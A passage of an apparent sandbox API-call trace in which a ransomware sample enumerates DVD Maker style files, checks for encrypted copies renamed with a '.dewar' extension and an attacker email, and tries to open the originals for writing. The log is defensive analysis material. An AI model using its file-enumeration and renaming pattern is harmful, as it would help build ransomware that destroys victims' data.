maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.445] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2821) returned 1 [0252.445] CloseHandle (hObject=0x1e0) returned 1 [0252.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png")) returned 0x20 [0252.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png")) returned 0x20 [0252.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.451] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6203) returned 1 [0252.451] CloseHandle (hObject=0x1e0) returned 1 [0252.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png")) returned 0x20 [0252.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png")) returned 0x20 [0252.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.452] SetEvent (hEvent=0x118) returned 1 [0252.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.453] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5088) returned 1 [0252.453] CloseHandle (hObject=0x1e0) returned 1 [0252.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png")) returned 0x20 [0252.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png")) returned 0x20 [0252.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.455] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3130) returned 1 [0252.456] CloseHandle (hObject=0x1e0) returned 1 [0252.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.458] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5025) returned 1 [0252.458] CloseHandle (hObject=0x1e0) returned 1 [0252.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0252.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0252.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.460] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3118) returned 1 [0252.460] CloseHandle (hObject=0x1e0) returned 1 [0252.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0252.462] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4955) returned 1 [0252.462] CloseHandle (hObject=0x1e0) returned 1 [0252.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0252.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0252.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0252.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.275] SetEvent (hEvent=0x118) returned 1 [0253.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.278] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4456) returned 1 [0253.279] CloseHandle (hObject=0x1e0) returned 1 [0253.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png")) returned 0x20 [0253.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png")) returned 0x20 [0253.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.280] SetEvent (hEvent=0x118) returned 1 [0253.280] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.281] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3076) returned 1 [0253.281] CloseHandle (hObject=0x1e0) returned 1 [0253.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png")) returned 0x20 [0253.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png")) returned 0x20 [0253.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.286] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=693292) returned 1 [0253.286] CloseHandle (hObject=0x1e0) returned 1 [0253.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv")) returned 0x20 [0253.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv")) returned 0x20 [0253.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.287] SetEvent (hEvent=0x118) returned 1 [0253.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.290] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=781292) returned 1 [0253.290] CloseHandle (hObject=0x1e0) returned 1 [0253.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv")) returned 0x20 [0253.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv")) returned 0x20 [0253.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.292] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4525) returned 1 [0253.293] CloseHandle (hObject=0x1e0) returned 1 [0253.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png")) returned 0x20 [0253.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png")) returned 0x20 [0253.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.295] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3055) returned 1 [0253.295] CloseHandle (hObject=0x1e0) returned 1 [0253.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png")) returned 0x20 [0253.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png")) returned 0x20 [0253.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.300] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=25243) returned 1 [0253.300] CloseHandle (hObject=0x1e0) returned 1 [0253.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png")) returned 0x20 [0253.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png")) returned 0x20 [0253.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.301] SetEvent (hEvent=0x118) returned 1 [0253.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.302] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=6922) returned 1 [0253.302] CloseHandle (hObject=0x1e0) returned 1 [0253.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0253.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD 